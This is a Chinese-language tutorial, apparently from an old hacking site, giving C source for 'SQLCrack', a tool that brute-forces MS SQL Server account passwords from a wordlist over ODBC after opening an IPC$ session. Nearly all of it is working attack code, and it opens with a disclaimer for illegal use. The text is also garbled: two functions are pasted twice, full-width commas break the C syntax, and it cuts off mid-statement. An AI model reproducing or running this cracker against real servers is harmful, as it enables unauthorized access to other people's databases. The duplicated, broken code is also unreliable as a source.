【此程序只作技术交流之用，如用于不法用途，作者不负任何责任!! 】
这篇文章的重点是如何探测MS SQL SERVER账号的密码，下面以一个实例来说明探测密码的全过程。
//程序所用到的头文件
//定义全局变量
char dict[20000][40]，//准备探测的密码
UserName[40]，//用户名
target[40]，//目标服务器
passwd[40];//已经探测出来的正确密码
int total=0;//字典里面单词数量
BOOL Cracked=FALSE;//探测密码成功时此值为TRUE
//
//函数:usage
//功能:显示程序帮助信息
//
void usage()
{
printf("\nPower by analyzer〈
[email]inmiao@163.com[/email]
〉"
"\nhttp://www.infocn.com"
"\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
"\nExample:SQLCrack 192.168.0.1 sa c:\pwd.dic 50\n");return;
}
//
//函数:ReadDic
//功能:从字典文件里面读取数据，传递给全局变量dict，准备探测密码
//说明:函数运行失败返回值1，成功返回0
//
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];
//打开字典文件
if((fp=fopen(dic，"r"))==NULL)
{
printf("\nCan't open %s"，dic);
return 1;
}
while(!feof(fp))
{
//读取数据到临时变量
if(fgets(tmp，40，fp)==NULL)
break;
//这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉，不然就探测不出来密码了
strncpy(dict[total]，tmp，strlen(tmp)-1);
total++;
//因为dict定义为dict[20000][40]，所以这里如果字典里面的单词超出20000就退出循环
//不然就会溢出啦.可以自行调准
if(total〉=20000)
break;
}
fclose(fp);
return 0;
}
//
//函数:ConnIPC
//功能:建立IPC连接
//说明:连接失败返回值1，成功返回值0
//
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]=""，
LN[5]="";
strcat(RN，RemoteName);
strcat(RN，"\ipc$");
//填充数据结构
nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;
if(WNetAddConnection2(&nr，(LPSTR)""，(LPSTR)""，flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函数:DelIPC
//功能:断开IPC Session
//说明:成功返回值0，否则返回1
//
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="";
strcat(lpName，RemoteName);
strcat(lpName，"\ipc$");
ret=WNetCancelConnection2(lpName，CONNECT_UPDATE_PROFILE，TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函数SQLCheck
//功能:尝试用不同密码连接SQL Server，探测出正确的密码
//
DWORD WINAPI SQLCheck(PVOID pPwd)
{
//定义局部变量
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API运行返回值SCHAR ConnStr[200];//连接数据库字符串
//取得传递过来准备探测的密码
pwd=(char *)pPwd;
//构造连接数据库字符
strcpy(ConnStr，"DRIVER={SQL Server};SERVER=");
strcat(ConnStr，target);
strcat(ConnStr，";UID=");
strcat(ConnStr，UserName);
strcat(ConnStr，";PWD=");
strcat(ConnStr，pwd);
strcat(ConnStr，";DATABASE=master");
//puts(ConnStr);
//创建数据库应用的环境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV，SQL_NULL_HANDLE，&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
return 0;
}
//printf("henv..");
//设置ODBC版本环境
if (SQLSetEnvAttr(henv， SQL_ATTR_ODBC_VERSION，(SQLPOINTER)
SQL_OV_ODBC3， SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV， henv);
return 0;
}
//printf("ODBC ver..");
//创建连接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC，henv，(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV， henv);
return 0;
}
//printf("hdbc..");
//连接数据源
retcode= SQLDriverConnect(hdbc，NULL，ConnStr，strlen(ConnStr)，szBuffer，sizeof
(szBuffer)，&swStrLen，
SQL_DRIVER_COMPLETE_REQUIRED);
//printf("conn..");
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
//连接失败，函数终止
//printf("\nCouldn't connect to %s MSSQL server.\n"，target);
SQLFreeHandle(SQL_HANDLE_DBC， hdbc);
SQLFreeHandle(SQL_HANDLE_ENV， henv);
return 0;
}
//连接远程MSSQL Server数据库成功
Cracked=TRUE;
strcpy(passwd，pwd);
//puts(szBuffer);
//显示连接远程数据库的字符串
//断开连接
SQLDisconnect(hdbc);
//printf("disconn..");
//释放连接句柄
SQLFreeHandle(SQL_HANDLE_DBC， hdbc);
//printf("free hdbc..");
//释放环境句柄
SQLFreeHandle(SQL_HANDLE_ENV， henv);
//printf("free henv..\n");
return 0;
}
//
//函数:DelIPC
//功能:断开IPC Session
//说明:成功返回值0，否则返回1
//
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="";
strcat(lpName，RemoteName);
strcat(lpName，"\ipc$");ret=WNetCancelConnection2(lpName，CONNECT_UPDATE_PROFILE，
TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函数SQLCheck
//功能:尝试用不同密码连接SQL Server，探测出正确的密码
//
DWORD WINAPI SQLCheck(PVOID pPwd)
{
//定义局部变量
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API运行返回值
SCHAR ConnStr[200];//连接数据库字符串
//取得传递过来准备探测的密码
pwd=(char *)pPwd;
//构造连接数据库字符
strcpy(ConnStr，"DRIVER={SQL Server};SERVER=");
strcat(ConnStr，target);
strcat(ConnStr，";UID=");
strcat(ConnStr，UserName);
strcat(ConnStr，";PWD=");
strcat(ConnStr，pwd);
strcat(ConnStr，";DATABASE=master");
//puts(ConnStr);
//创建数据库应用的环境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV，SQL_NULL_HANDLE，&henv) !=SQL_SUCCESS){
printf("\nAllocate environment handle failed.\n");
return 0;
}
//printf("henv..");
//设置ODBC版本环境
if (SQLSetEnvAttr(henv， SQL_ATTR_ODBC_VERSION，(SQLPOINTER)
SQL_OV_ODBC3， SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV， henv);
return 0;
}
//printf("ODBC ver..");
//创建连接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC，henv，(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV， henv);
return 0;
}
//printf("hdbc..");
//连接数据源
retcode= SQLDriverConnect(hdbc，NULL，ConnStr，strlen(ConnStr)，
szBuffer，sizeof(szBuffer)，&
|
(t003)
|
